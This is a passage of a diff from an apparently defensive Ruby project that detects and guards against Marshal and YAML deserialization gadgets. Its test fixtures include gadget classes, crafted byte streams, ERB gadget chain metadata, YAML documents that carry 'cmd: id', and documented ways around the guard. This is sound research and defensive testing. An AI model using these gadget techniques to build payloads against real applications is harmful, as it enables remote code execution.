halt STATUS_BAD_REQUEST, format(REJECTED, format(REFUSED_BY_PSYCH, e.class))
end
def revive(blob)
::Marshal.load(blob)
rescue ArgumentError, TypeError
LOADER_REFUSED
end
def session?(state)
state.is_a?(Hash) && SESSION_KEYS.all? { |key| state.key?(key) }
end

View File

@ -0,0 +1,9 @@
# ©AngelaMos | 2026
# chain.Dockerfile
ARG RUBY_IMAGE=ruby:4.0.2-slim
FROM ${RUBY_IMAGE}
RUN gem install --no-document activesupport:8.1.3.1
WORKDIR /app

View File

@ -14,8 +14,38 @@ module Marshalsea
ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER)
end
def test_registry_excludes_the_base_class
refute_includes Chains.all, Base
def test_the_registry_holds_only_descendants_of_base
refute_empty Chains.all, "control: an empty registry would make this vacuous"
assert(Chains.all.all? { |chain| chain < Base },
"Base never registers itself, so filtering it out afterwards was never live code")
end
def test_every_chain_file_on_disk_is_registered
root = File.expand_path("../lib/marshalsea/chains", __dir__)
on_disk = Dir[File.join(root, "*.rb")].map { |path| File.basename(path, ".rb") } - ["base"]
registered = Chains.all.map(&:chain_name)
refute_empty on_disk, "control: the directory must contain a chain to discover"
missing = on_disk.reject { |file| registered.include?(file.tr("_", "-")) }
assert_empty missing,
"the directory is the chain identity, so a file nobody requires by hand " \
"must still be discovered: #{missing.join(', ')}"
end
def test_the_published_ranges_cannot_be_rewritten_through_metadata
assert_predicate ErbDefMethod::AFFECTED, :frozen?
assert(ErbDefMethod::AFFECTED.all?(&:frozen?),
"Array#freeze is shallow, so a nested range stays writable unless frozen too")
assert_raises(FrozenError) { ErbDefMethod.metadata[:affected][2] << "< 4.0.0" }
assert_raises(FrozenError) { ErbDefMethod.metadata[:affected] << ["< 9.9.9"] }
assert_raises(FrozenError) { ErbDefMethod.metadata[:cve] = "CVE-0000-0000" }
end
def test_the_ranges_still_classify_after_a_rejected_mutation
assert ErbDefMethod.affects?("5.0.0"),
"control: a mutation that silently succeeded would move this boundary"
refute ErbDefMethod.affects?("6.0.4")
end
def test_registry_contains_the_erb_chain
@ -30,6 +60,89 @@ module Marshalsea
assert_raises(UnknownChainError) { Chains.find("no-such-chain") }
end
class KeyPositionProbe < Base
PROBE_METADATA = {
name: "key-position-probe", vector: "hash", cve: "none", gem: "none",
affected: [["> 0"]].freeze, kind: Base::KIND_CHAIN
}.freeze
def self.metadata = PROBE_METADATA
def generate = Object.new
def serialize = in_hash_key_position(generate)
end
class RepeatedObjectProbe < KeyPositionProbe
def generate
shared = +"repeated"
[shared, shared]
end
end
def test_a_spliced_key_position_stream_is_byte_correct
blob = KeyPositionProbe.new.serialize
revived = ::Marshal.load(blob)
assert_kind_of Hash, revived
assert_equal 1, revived.length
assert_kind_of Object, revived.keys.first
assert_nil revived.values.first
end
def test_a_spliced_stream_really_puts_the_payload_in_key_position
result = Marshalsea::Marshal::Parser.new(KeyPositionProbe.new.serialize).parse
refute_empty result.hash_dispatching_keys,
"the whole point of the splice is that #hash runs on load"
end
def test_the_splice_refuses_a_graph_whose_link_indices_would_shift
error = assert_raises(ObjectLinkRefusedError) { RepeatedObjectProbe.new.serialize }
assert_includes error.message, "object link"
end
def test_control_the_refused_graph_really_does_carry_an_object_link
graph = Marshalsea::Marshal::Parser.new(::Marshal.dump(RepeatedObjectProbe.new.generate)).parse
assert(graph.nodes.any? { |node| node.type == :object_link },
"control: without a link in the fixture the guard test proves nothing")
end
def test_the_two_erb_payloads_are_labelled_by_kind
assert_predicate ErbDefMethod, :primitive?
refute_predicate ErbDefMethod, :chain?
assert_predicate ErbDefModule, :chain?
refute_predicate ErbDefModule, :primitive?
end
def test_the_chain_declares_the_gem_it_needs_and_the_primitive_does_not
assert_equal ["activesupport"], ErbDefModule.required_gems
assert_empty ErbDefMethod.required_gems
end
def test_the_two_payloads_enter_through_different_methods
assert_equal "def_method", ErbDefMethod.vector
assert_equal "hash", ErbDefModule.vector,
"the chain enters through an ungated #hash, which is why it needs no " \
"application call"
end
def test_dispatcher_availability_predicts_whether_the_chain_can_build
available = ErbDefModule.dispatcher_available?
built = begin
ErbDefModule.canary(CANARY_PATH, CANARY_MARKER).generate
true
rescue ChainError
false
end
assert_equal available, built,
"the predicate must match reality in whichever environment this runs, " \
"or a caller cannot tell whether activesupport is present"
end
def test_metadata_is_complete
assert_equal "erb-def-method", ErbDefMethod.chain_name
assert_equal "def_method", ErbDefMethod.vector

View File

@ -120,7 +120,7 @@ failures << "candidates lost" unless check("no candidate was silently dropped",
unreadable = full.candidates.select(&:unreadable_source?)
fails_open = !unreadable.empty? &&
unreadable.all? { |c| c.gated? || !c.zero_arity? || c.reachable? }
unreadable.all? { |c| c.gated? || !c.entry_point? || !c.accepts_dispatch? || c.reachable? }
failures << "unreadable fails open" unless check("an unreadable source fails open, never to inert",
fails_open,
"#{unreadable.length} candidates whose source could not be parsed")

View File

@ -138,6 +138,56 @@ module Marshalsea
assert_raises(ArgumentError) { detector(policy: :yolo) }
end
def role_anomaly_streams
{
"ivar name is a fixnum" => AdversarialCorpus.stream("I#{AdversarialCorpus.str('a')}\x06i\x060"),
"ivar name is a string" =>
AdversarialCorpus.stream("I#{AdversarialCorpus.str('a')}\x06#{AdversarialCorpus.str('n')}0"),
"ivar name is an array" => AdversarialCorpus.stream("I#{AdversarialCorpus.str('a')}\x06[\x000")
}
end
def ruby_refuses?(bytes)
::Marshal.load(bytes)
false
rescue ArgumentError, TypeError
true
end
def test_no_stream_the_loader_refuses_is_ever_waved_through
refused = role_anomaly_streams.select { |_label, bytes| ruby_refuses?(bytes) }
assert_equal role_anomaly_streams.keys, refused.keys,
"control: these fixtures exist because Marshal.load refuses them"
waved = role_anomaly_streams.select { |_label, bytes| detector.inspect_stream(bytes).proceed? }
assert_empty waved.keys,
"proceed? means the caller may load these bytes, and loading them raises. " \
"The defended route then answers 500 instead of a rejection: #{waved.keys.join(', ')}"
end
def test_a_role_anomaly_is_named_rather_than_reported_as_a_parse_failure
decision = detector.inspect_stream(role_anomaly_streams.fetch("ivar name is a fixnum"))
assert_predicate decision, :blocked?
assert_includes decision.reason, "instance variable name slot holds fixnum"
refute_includes decision.reason, "Error",
"the parser accepted this on purpose so a hidden sink stays visible; " \
"the reason must say what is wrong, not pretend parsing failed"
end
def test_the_parser_still_returns_a_graph_for_a_role_anomaly
result = Parser.new(role_anomaly_streams.fetch("ivar name is an array")).parse
refute_predicate result, :canonical_roles?
assert_equal 1, result.role_anomalies.length
refute_nil result.root, "the forensic graph must survive so a hidden sink stays reportable"
end
def test_a_canonical_stream_carries_no_role_anomaly
assert_predicate Parser.new(benign_blob).parse, :canonical_roles?,
"control: an ordinary stream must not trip the role check"
end
def test_rejects_malformed_stream_with_a_named_reason
decision = detector.inspect_stream("\x04\x08[\xFA")
assert_predicate decision, :blocked?

View File

@ -0,0 +1,265 @@
# ©AngelaMos | 2026
# load_guard_test.rb
# frozen_string_literal: true
require_relative "../test_helper"
module Marshalsea
module Marshal
class LoadGuardTest < Minitest::Test
BODIES = []
class Permitted
def marshal_dump = ["payload"]
def marshal_load(_data)
BODIES << "Permitted#marshal_load"
end
end
class Gadget
def marshal_dump = ["payload"]
def marshal_load(_data)
BODIES << "Gadget#marshal_load"
end
end
class UserDefGadget
def _dump(_depth) = "opaque"
def self._load(_data)
BODIES << "UserDefGadget._load"
allocate
end
end
class MethodMissingGadget
def marshal_dump = ["payload"]
def respond_to_missing?(name, include_private = false)
name == :marshal_load || super
end
def method_missing(name, *args)
return BODIES << "MethodMissingGadget via method_missing" if name == :marshal_load
super
end
end
class KeyTrigger
def hash
BODIES << "KeyTrigger#hash"
7
end
def eql?(_other) = false
end
class Deferred
def to_s
BODIES << "Deferred#to_s"
""
end
end
def setup
BODIES.clear
end
def guard(permitted: [], strict: false)
LoadGuard.new(permitted_class_names: permitted, strict: strict)
end
def name_of(klass) = klass.name
def key_trigger_blob
blob = ::Marshal.dump({ KeyTrigger.new => 1 })
BODIES.clear
blob
end
def test_it_vetoes_a_gadget_before_the_hook_body_runs
blob = ::Marshal.dump(Gadget.new)
error = assert_raises(GuardedLoadError) { guard.load(blob) }
assert_includes error.message, "#{name_of(Gadget)}#marshal_load"
assert_empty BODIES,
"the veto is the whole point: a Marshal.load proc fires after the body, " \
"a TracePoint on :call fires before it"
end
def test_control_a_permitted_hook_runs_its_body
blob = ::Marshal.dump(Permitted.new)
guard(permitted: [name_of(Permitted)]).load(blob)
assert_equal ["Permitted#marshal_load"], BODIES,
"control: a guard that blocks everything would pass the previous test " \
"without proving anything"
end
def test_control_a_benign_payload_passes_with_nothing_permitted
revived = guard.load(::Marshal.dump({ "a" => 1, "b" => ["x", :y, 2.5, nil, true] }))
assert_equal({ "a" => 1, "b" => ["x", :y, 2.5, nil, true] }, revived)
assert_empty BODIES
end
def test_it_vetoes_a_gadget_buried_at_depth
blob = ::Marshal.dump([[[{ "a" => [Gadget.new] }]]])
assert_raises(GuardedLoadError) { guard.load(blob) }
assert_empty BODIES, "nesting must not buy a gadget a pass"
end
def test_it_vetoes_the_singleton_load_path
blob = ::Marshal.dump(UserDefGadget.new)
error = assert_raises(GuardedLoadError) { guard.load(blob) }
assert_includes error.message, "_load"
assert_empty BODIES
end
def test_it_vetoes_the_method_missing_evasion
blob = ::Marshal.dump(MethodMissingGadget.new)
assert_raises(GuardedLoadError) { guard.load(blob) }
assert_empty BODIES,
"Marshal honours respond_to_missing?, so a hook list without " \
"method_missing and respond_to_missing? is evaded by a proxy"
end
def test_a_guard_that_has_not_run_reports_nothing
assert_empty guard.observations,
"an empty report must mean nothing was observed, never that a load " \
"has not happened yet"
end
def test_observations_name_every_hook_the_load_reached
subject = guard(permitted: [name_of(Permitted)])
subject.load(::Marshal.dump([Permitted.new, Permitted.new]))
assert_equal ["#{name_of(Permitted)}#marshal_load"] * 2, subject.observations.map(&:to_s)
assert(subject.observations.all?(&:permitted?))
end
def test_a_vetoed_load_still_records_what_it_saw
subject = guard
assert_raises(GuardedLoadError) { subject.load(::Marshal.dump(Gadget.new)) }
refute_empty subject.observations, "an ensure block must record the observation that " \
"caused the veto, or the report loses the reason"
refute_predicate subject.observations.first, :permitted?
end
def test_the_default_hook_set_does_not_watch_the_hottest_methods
subject = guard
assert subject.watches?(:marshal_load)
assert subject.watches?(:method_missing)
refute subject.watches?(:hash)
refute subject.watches?(:eql?)
end
def test_documented_bypass_the_default_guard_misses_a_hash_key_trigger
guard.load(key_trigger_blob)
assert_equal ["KeyTrigger#hash"], BODIES,
"the notice claims this bypass exists, so it must be demonstrable"
end
def test_strict_mode_closes_the_hash_key_bypass
blob = key_trigger_blob
assert_raises(GuardedLoadError) { guard(strict: true).load(blob) }
assert_empty BODIES
end
def test_the_boundary_detector_catches_that_same_shape_before_any_bytes_load
decision = BoundaryDetector.new(allowed_class_names: [name_of(KeyTrigger)])
.inspect_stream(key_trigger_blob)
assert_predicate decision, :blocked?,
"the cheap place to catch a key-position gadget is before the load, " \
"which is why the guard leaves #hash opt-in"
assert_empty BODIES
end
def test_documented_bypass_a_class_with_no_hook_fires_after_the_window
subject = guard(permitted: [])
revived = subject.load(::Marshal.dump({ "template" => Deferred.new }))
assert_empty subject.observations, "the guard sees nothing, because nothing is dispatched"
assert_empty BODIES
format("%s", revived["template"])
assert_equal ["Deferred#to_s"], BODIES,
"the guard covers the load window and nothing after it"
end
def test_the_guard_relies_on_tracepoint_being_thread_scoped
blob = ::Marshal.dump(Permitted.new)
elsewhere = []
here = []
watch_other = TracePoint.new(*LoadGuard::EVENTS) do |event|
elsewhere << event.method_id if LoadGuard::GATED_HOOKS.include?(event.method_id)
end
watch_other.enable { Thread.new { ::Marshal.load(blob) }.join }
watch_here = TracePoint.new(*LoadGuard::EVENTS) do |event|
here << event.method_id if LoadGuard::GATED_HOOKS.include?(event.method_id)
end
watch_here.enable { ::Marshal.load(blob) }
refute_empty here, "control: the same tracer must fire for a load on this thread"
assert_empty elsewhere,
"enable with a block defaults target_thread to the current thread, which " \
"is why one request's guard does not tax the whole process"
end
class HostileName
def self.name = raise(NameError, "name unavailable")
def marshal_dump = ["payload"]
def marshal_load(_data)
BODIES << "HostileName#marshal_load"
end
end
def test_an_owner_that_refuses_to_name_itself_fails_closed
blob = ::Marshal.dump(HostileName.new)
error = assert_raises(GuardedLoadError) { guard.load(blob) }
assert_includes error.message, LoadGuard::ANONYMOUS_OWNER,
"a class that raises from .name must not become permitted by accident"
assert_empty BODIES
end
def test_control_an_owner_that_refuses_to_name_itself_cannot_be_permitted
blob = ::Marshal.dump(HostileName.new)
assert_raises(GuardedLoadError) do
guard(permitted: [LoadGuard::ANONYMOUS_OWNER]).load(blob)
end
assert_empty BODIES, "the placeholder must not be spellable as an allowlist entry"
end
def test_the_error_is_catchable_by_an_ordinary_rescue
assert_operator GuardedLoadError, :<, StandardError,
"SecurityError descends from Exception and would bypass every " \
"rescue => e in the stack"
end
def test_it_ships_a_notice_that_names_its_own_limits
notice = LoadGuard::LIMITATION_NOTICE
assert_includes notice, "not a boundary"
assert_includes notice, "#hash"
assert_includes notice, "thread-scoped"
end
end
end
end

View File

@ -372,6 +372,17 @@ module Marshalsea
assert_equal %w[first second], node.children.map(&:value)
end
def test_regexp_options_are_decoded_rather_than_discarded
insensitive = roundtrip(/ab/i)
plain = roundtrip(/ab/)
assert_equal plain.value, insensitive.value, "control: the source bytes are identical"
refute_equal plain.regexp_options, insensitive.regexp_options,
"two regexps that differ only in their flags must not parse identically"
assert_equal 0, plain.regexp_options
assert_predicate insensitive.regexp_options, :positive?
end
def test_regexp_options_byte_is_not_mistaken_for_the_next_value
node = roundtrip([/pattern/ix, :sentinel])
assert_equal :symbol, node.children.last.type
@ -460,6 +471,26 @@ module Marshalsea
"control: permissive must admit it, or a ceiling is not what rejected it"
end
def test_permissive_lifts_every_ceiling_except_the_stack_safety_one
lifted = Limits.permissive
axes = %i[max_bytes max_nodes max_registered_objects max_symbol_definitions
max_collection_entries max_scalar_bytes max_total_scalar_bytes
max_object_links max_symbol_references max_symbol_name_bytes
max_class_name_bytes max_instance_variables max_struct_members]
bounded = axes.reject { |axis| lifted.public_send(axis) == Limits::UNBOUNDED }
assert_empty bounded, "permissive must lift these, one assertion per axis"
assert_equal Limits::STACK_SAFE_MAX_DEPTH, lifted.max_depth,
"depth stays bounded on purpose: the parser recurses, so lifting it would " \
"trade a rescuable DepthLimitError for an uncatchable SystemStackError"
assert_raises(DepthLimitError) do
Parser.new(AdversarialCorpus.stream(
AdversarialCorpus.array_nest(Limits::STACK_SAFE_MAX_DEPTH + 5) + "0"
), limits: lifted).parse
end
end
def test_default_depth_ceiling_is_the_limits_value_not_the_permissive_one
deep = AdversarialCorpus.stream(AdversarialCorpus.array_nest(Limits::DEFAULT_MAX_DEPTH + 5) + "0")
@ -574,7 +605,7 @@ module Marshalsea
end
def parser_predicts_dispatch?(key)
parse(::Marshal.dump({ key => nil })).dispatching_hash_keys.any?
parse(::Marshal.dump({ key => nil })).hash_dispatching_keys.any?
end
def test_hash_key_dispatch_prediction_matches_real_ruby
@ -593,6 +624,138 @@ module Marshalsea
assert_empty mismatches, "parser disagrees with Marshal.load:\n #{mismatches.join("\n ")}"
end
DISPATCHED = []
module RecordsBoth
def hash
DISPATCHED << :hash
0
end
def eql?(_other)
DISPATCHED << :eql?
false
end
end
class BothPlainKey
include RecordsBoth
end
class BothStringKey < String
include RecordsBoth
end
class BothArrayKey < Array
include RecordsBoth
end
def collision_probes
{
"plain object (o)" => [BothPlainKey.new, BothPlainKey.new],
"String subclass (C)" => [BothStringKey.new("x"), BothStringKey.new("x")],
"Array subclass (C)" => [BothArrayKey.new([1]), BothArrayKey.new([1])],
"extended string (e)" => [(+"x").extend(RecordsBoth), (+"x").extend(RecordsBoth)],
"bare array holding a gadget" => [[BothPlainKey.new], [BothPlainKey.new]],
"bare array of primitives" => [[1, 2], [1, 2]],
"plain string" => [+"x", +"x"]
}
end
def collision_blob(pair)
::Marshal.dump({ pair.first => 1, pair.last => 2 })
end
def ruby_dispatches_during_load(pair)
blob = collision_blob(pair)
DISPATCHED.clear
::Marshal.load(blob)
DISPATCHED.uniq.sort
end
def parser_predicts_during_load(pair)
result = parse(collision_blob(pair))
predicted = []
predicted << :hash if result.hash_dispatching_keys.any?
predicted << :eql? if result.eql_dispatching_keys.any?
predicted.sort
end
def test_key_dispatch_prediction_matches_real_ruby_for_hash_and_eql
observed = collision_probes.to_h { |label, pair| [label, ruby_dispatches_during_load(pair)] }
seen = observed.values.flatten.uniq
assert_includes seen, :hash, "no probe dispatched #hash, so the oracle is dead"
assert_includes seen, :eql?, "no probe dispatched #eql?, so a one-key oracle would pass vacuously"
assert_includes observed.values, [], "every probe dispatched, so the oracle proves nothing"
mismatches = collision_probes.filter_map do |label, pair|
predicted = parser_predicts_during_load(pair)
next if predicted == observed.fetch(label)
"#{label}: ruby=#{observed.fetch(label).inspect} parser=#{predicted.inspect}"
end
assert_empty mismatches,
"the detector names both methods in its reject reason, so it must model " \
"both:\n #{mismatches.join("\n ")}"
end
def test_a_string_subclass_key_skips_hash_and_still_reaches_eql
observed = ruby_dispatches_during_load(collision_probes.fetch("String subclass (C)"))
assert_equal %i[eql?], observed,
"rb_any_hash fast-paths T_STRING so #hash is skipped, but rb_any_cmp " \
"requires klass == rb_cString so #eql? is not"
end
def test_a_collection_key_is_inspected_through_its_members
gadget = parse(collision_blob(collision_probes.fetch("bare array holding a gadget")))
inert = parse(collision_blob(collision_probes.fetch("bare array of primitives")))
refute_empty gadget.hash_dispatching_keys,
"an array key hashes every element, so a gadget inside one dispatches"
assert_empty inert.hash_dispatching_keys,
"control: an array of primitives names no class, so flagging it would be " \
"a false positive and the rule would be a blanket reject"
end
def test_a_collection_key_reports_the_member_that_dispatches_not_the_container
result = parse(collision_blob(collision_probes.fetch("bare array holding a gadget")))
named = result.hash_dispatching_keys.first.effective_class_name
assert_equal "Marshalsea::Marshal::ParserTest::BothPlainKey", named,
"an operator needs the class that runs, not the anonymous array holding it"
end
class CmpEndpoint
def <=>(_other)
DISPATCHED << :cmp
0
end
end
def test_range_endpoints_dispatch_and_are_reported
blob = ::Marshal.dump(CmpEndpoint.new..CmpEndpoint.new)
DISPATCHED.clear
::Marshal.load(blob)
assert_includes DISPATCHED, :cmp,
"Range#marshal_load validates its endpoints, so <=> runs during load"
assert_empty parse(blob).sinks,
"control: Range carries no sink tag on this Ruby, so the sink rule cannot " \
"be what catches this"
assert_equal ["Marshalsea::Marshal::ParserTest::CmpEndpoint"],
parse(blob).range_endpoint_dispatchers.map(&:effective_class_name).uniq
assert_equal 2, parse(blob).range_endpoint_dispatchers.length,
"range_init compares both endpoints, so both are reported"
end
def test_a_range_of_primitives_is_not_reported
assert_empty parse(::Marshal.dump(1..5)).range_endpoint_dispatchers,
"control: primitive endpoints dispatch only builtin <=>"
end
def test_the_same_class_is_only_flagged_in_key_position
in_key = parse(AdversarialCorpus::HASH_KEY_SHAPES_THAT_DISPATCH[:object])
in_value = parse(AdversarialCorpus::OBJECT_IN_VALUE_POSITION)
@ -618,6 +781,26 @@ module Marshalsea
assert_empty noisy.keys, "false positive on: #{noisy.keys.join(', ')}"
end
def test_string_backed_key_shapes_are_flagged_on_eql_and_never_on_hash
shapes = AdversarialCorpus::HASH_KEY_SHAPES_THAT_DISPATCH_EQL_ONLY
wrong_method = shapes.select { |_shape, bytes| parse(bytes).hash_dispatching_keys.any? }
assert_empty wrong_method.keys,
"rb_any_hash never reaches a user #hash for T_STRING, so claiming it does " \
"would make the reject reason a false statement: #{wrong_method.keys.join(', ')}"
missed = shapes.reject { |_shape, bytes| parse(bytes).eql_dispatching_keys.any? }
assert_empty missed.keys, "#eql? dispatch missed in: #{missed.keys.join(', ')}"
end
def test_every_dispatching_key_shape_is_caught_by_the_hash_rule
blind = AdversarialCorpus::HASH_KEY_SHAPES_THAT_DISPATCH.reject do |_shape, bytes|
parse(bytes).hash_dispatching_keys.any?
end
assert_empty blind.keys, "#hash dispatch missed in: #{blind.keys.join(', ')}"
end
def test_struct_member_name_slot_is_not_scanned_as_a_hash_key
blob = AdversarialCorpus.stream(
"S#{AdversarialCorpus.sym(AdversarialCorpus::OBJECT_CLASS)}" \

View File

@ -0,0 +1,258 @@
# ©AngelaMos | 2026
# inspector_test.rb
# frozen_string_literal: true
require_relative "../test_helper"
module Marshalsea
module Psych
class InspectorTest < Minitest::Test
FIRED = []
class WipedProxy
instance_methods.each { |m| undef_method m unless /^__|^object_id$/.match?(m) }
def method_missing(name, *_args)
FIRED << name
name
end
def respond_to_missing?(_name, _include_private = false)
true
end
end
class Revived
def init_with(coder)
FIRED << :init_with
@cmd = coder["cmd"]
end
end
class MarshalGadget
def marshal_load(_data)
FIRED << :marshal_load
end
def marshal_dump = ["x"]
end
BENIGN = "---\nuser: guest\nroles:\n - 1\n - 2\n"
def setup
FIRED.clear
end
def inspector(**)
Inspector.new(**)
end
def object_document(class_name)
"--- !ruby/object:#{class_name}\ncmd: id\n"
end
def test_a_document_of_plain_scalars_proceeds
assert_predicate inspector.inspect_document(BENIGN), :proceed?
end
def test_it_rejects_non_string_input_without_converting_it
hostile = Object.new
def hostile.to_s = raise("to_s must never be called on untrusted input")
decision = inspector.inspect_document(hostile)
assert_predicate decision, :blocked?
assert_equal Inspector::REASON_INPUT_TYPE, decision.reason
end
def revival_documents
{
"!ruby/object" => ["--- !ruby/object:Alpha\na: 1\n", "init_with"],
"!ruby/hash" => ["--- !ruby/hash:Beta\na: 1\n", "[]="],
"!ruby/array" => ["--- !ruby/array:Gamma\ninternal: [1]\n", "init_with"],
"!ruby/struct" => ["--- !ruby/struct:Delta\na: 1\n", "init_with"],
"!ruby/exception" => ["--- !ruby/exception:Epsilon\nmessage: x\n", "init_with"],
"!ruby/marshalable" => ["--- !ruby/marshalable:Zeta\na: 1\n", "marshal_load"]
}
end
def test_every_revival_tag_is_reported_with_the_method_it_would_dispatch
missed = revival_documents.reject do |_tag, (document, method_name)|
decision = inspector.inspect_document(document)
decision.blocked? && decision.reason.include?(method_name)
end
assert_empty missed.keys,
"a reject reason must name how the class gets revived: #{missed.keys.join(', ')}"
end
def test_a_class_in_a_mapping_key_is_reported_as_key_dispatch
decision = inspector.inspect_document("---\n? !ruby/object:KeyClass {}\n: value\n")
assert_predicate decision, :blocked?
assert_includes decision.reason, "mapping key"
assert_includes decision.reason, "KeyClass"
end
def test_the_same_class_in_a_value_is_reported_as_revival_not_key_dispatch
decision = inspector.inspect_document("---\nk: !ruby/object:KeyClass {}\n")
assert_predicate decision, :blocked?
assert_includes decision.reason, "init_with"
refute_includes decision.reason, "mapping key",
"position is the signal, exactly as it is on the Marshal side"
end
def test_an_allowlisted_class_proceeds
decision = inspector(permitted_class_names: %w[Alpha]).inspect_document(object_document("Alpha"))
assert_predicate decision, :proceed?
end
def test_an_allowlist_never_exempts_key_position_dispatch
decision = inspector(permitted_class_names: %w[KeyClass])
.inspect_document("---\n? !ruby/object:KeyClass {}\n: v\n")
assert_predicate decision, :blocked?,
"the mapping is rebuilt before any allowlist can act, so permitting " \
"the class does not stop its #hash running"
end
def test_it_rejects_a_malformed_document
decision = inspector.inspect_document("---\n\tbad: [\n")
assert_predicate decision, :blocked?
assert_includes decision.reason, "MalformedDocumentError"
end
def assert_ceiling_rejects(document, **narrow)
assert_predicate inspector.inspect_document(document), :proceed?,
"control: this document must be accepted under default limits, " \
"or the ceiling is not what rejected it"
decision = inspector(limits: Limits.new(**narrow)).inspect_document(document)
assert_predicate decision, :blocked?
assert_includes decision.reason, "LimitExceededError"
end
def test_it_enforces_a_byte_ceiling
assert_ceiling_rejects(BENIGN, max_bytes: 8)
end
def test_it_enforces_a_depth_ceiling
assert_ceiling_rejects("---\n#{'- ' * 40}1\n", max_depth: 4)
end
def test_it_enforces_a_node_ceiling
assert_ceiling_rejects("---\n#{(1..40).map { |i| "k#{i}: #{i}" }.join("\n")}\n", max_nodes: 5)
end
def test_it_enforces_an_alias_ceiling
aliased = "---\na: &x [1, 2]\n#{(1..20).map { |i| "k#{i}: *x" }.join("\n")}\n"
assert_ceiling_rejects(aliased, max_aliases: 4)
end
def test_it_enforces_a_document_ceiling
assert_ceiling_rejects("--- 1\n--- 2\n--- 3\n", max_documents: 2)
end
def test_it_counts_aliases_rather_than_expanding_them
document = inspector.read("---\na: &x [1, 2]\nb: *x\nc: *x\n")
assert_equal 2, document.alias_count
assert_operator document.node_count, :>, 0
assert_equal 1, document.document_count
end
def yaml_watcher(&)
fired = false
tracer = TracePoint.new(:call, :c_call) do |tp|
fired = true if %i[load unsafe_load safe_load].include?(tp.method_id) &&
tp.self.equal?(::Psych)
end
tracer.enable(&)
fired
end
def test_the_watcher_oracle_is_live
assert yaml_watcher { ::Psych.unsafe_load(BENIGN) },
"oracle failed to observe a real load, so the next test would pass vacuously"
end
def test_inspecting_never_loads_the_document
refute yaml_watcher { inspector.inspect_document(object_document("Alpha")) },
"the inspector called into a Psych loader"
end
def test_inspecting_revives_nothing
inspector.inspect_document("--- !ruby/object:Marshalsea::Psych::InspectorTest::Revived\ncmd: id\n")
assert_empty FIRED, "init_with must not run during inspection"
end
def test_psych_allowlist_is_a_veto_where_the_marshal_proc_is_a_post_mortem
document = "--- !ruby/object:Marshalsea::Psych::InspectorTest::Revived\ncmd: id\n"
assert_raises(::Psych::DisallowedClass) { ::Psych.safe_load(document, permitted_classes: []) }
assert_empty FIRED,
"Psych checks the tag before revival, so init_with never ran"
FIRED.clear
blob = ::Marshal.dump(MarshalGadget.new)
begin
::Marshal.load(blob, ->(object) { object })
rescue StandardError
nil
end
assert_equal [:marshal_load], FIRED,
"Marshal runs its proc in r_post_proc, after load_funcall has already " \
"fired the callback. Same intent, opposite outcome, decided by where " \
"the check sits"
end
def test_a_fully_wiped_proxy_is_a_yaml_entry_point_and_not_a_marshal_one
document = "--- !ruby/object:Marshalsea::Psych::InspectorTest::WipedProxy\ncmd: id\n"
::Psych.unsafe_load(document)
assert_includes FIRED, :init_with,
"Psych calls respond_to?(:init_with) as an ordinary Ruby call, so a " \
"method-erased proxy answers through method_missing"
FIRED.clear
stream = "\x04\bU:@Marshalsea::Psych::InspectorTest::WipedProxy0".b
marshal_outcome = begin
::Marshal.load(stream)
:revived
rescue StandardError => e
e.class
end
assert_empty FIRED, "the identical class is not reachable through Marshal"
refute_equal :revived, marshal_outcome
end
def test_the_inspector_flags_that_same_proxy_document
decision = inspector.inspect_document(
"--- !ruby/object:Marshalsea::Psych::InspectorTest::WipedProxy\ncmd: id\n"
)
assert_predicate decision, :blocked?
assert_includes decision.reason, "init_with"
end
def test_it_never_exposes_a_safety_claiming_api
%i[safe? trusted? sanitized? safe_load].each do |forbidden|
refute_respond_to inspector, forbidden,
"#{forbidden} implies a guarantee this inspector cannot make"
end
end
def test_it_ships_a_notice_that_defers_to_psych_safe_load
notice = Inspector::LIMITATION_NOTICE
assert_includes notice, "Prefer YAML.safe_load"
assert_includes notice, "checks the tag before"
assert_includes notice, "revives nothing"
end
end
end
end

View File

@ -3,6 +3,7 @@
# frozen_string_literal: true
require_relative "test_helper"
require "tmpdir"
module Marshalsea
class ScannerTest < Minitest::Test
@ -142,12 +143,17 @@ module Marshalsea
assert(report.candidates.all? { |c| c.class_name.start_with?("Marshalsea::ScannerTest") })
end
def test_report_partitions_gated_and_ungated
def test_report_partitions_every_candidate_by_gate
report = local_scan
refute_empty report.gated, "a partition test proves nothing if one side is empty"
refute_empty report.ungated, "a partition test proves nothing if one side is empty"
assert_equal report.candidates.length, report.gated.length + report.ungated.length
assert_empty(report.gated & report.ungated)
soft = report.candidates.select(&:soft_gated?)
buckets = { gated: report.gated, ungated: report.ungated, links: report.links, soft: soft }
buckets.except(:soft).each do |name, bucket|
refute_empty bucket, "a partition test proves nothing if #{name} is empty"
end
assert_equal report.candidates.length, buckets.values.sum(&:length),
"every gate value must land in exactly one bucket, or a candidate is invisible"
buckets.values.combination(2) { |left, right| assert_empty(left & right) }
end
def test_scan_is_deterministic
@ -281,7 +287,9 @@ module Marshalsea
end
def test_control_an_unreadable_candidate_is_reachable_on_exactly_that_basis
unreadable = scan.candidates.select(&:unreadable_source?).reject(&:gated?).select(&:zero_arity?)
unreadable = scan.candidates.select(&:unreadable_source?)
.select(&:entry_point?).reject(&:gated?).reject(&:soft_gated?)
.select(&:accepts_dispatch?)
refute_empty unreadable, "control: without one of these the previous test is vacuous"
assert(unreadable.all?(&:reachable?),
@ -332,6 +340,116 @@ module Marshalsea
end
end
def test_a_gated_hook_that_cannot_accept_the_call_is_not_reachable
wrong = candidates_for("Marshalsea::ScannerTest::WrongArityFixture").first
right = candidates_for("Marshalsea::ScannerTest::GatedFixture").first
assert_equal 0, wrong.arity
refute_predicate wrong, :accepts_dispatch?,
"Marshal.load calls marshal_load with one argument, so an arity-0 hook " \
"raises ArgumentError and the chain is dead"
refute_predicate wrong, :reachable?
assert_predicate right, :accepts_dispatch?, "control: the arity-1 hook must still qualify"
assert_predicate right, :reachable?
end
def test_an_ungated_entry_point_that_takes_an_argument_is_still_reachable
candidate = candidates_for("Marshalsea::ScannerTest::ComparableFixture").first
assert_equal "<=>", candidate.method_name
assert_equal 1, candidate.arity
refute_predicate candidate, :zero_arity?
assert_predicate candidate, :reachable?,
"Range#marshal_load supplies the argument, so arity 1 is what <=> must " \
"have, not a reason to drop it"
end
def test_a_link_method_is_recorded_and_never_called_an_entry_point
candidate = candidates_for("Marshalsea::ScannerTest::LinkFixture").first
assert_equal "to_s", candidate.method_name
assert_predicate candidate, :link?
refute_predicate candidate, :entry_point?
refute_predicate candidate, :reachable?,
"research 02 4.2 verified Marshal.load never invokes to_s directly, so " \
"reporting it as reachable is a false positive"
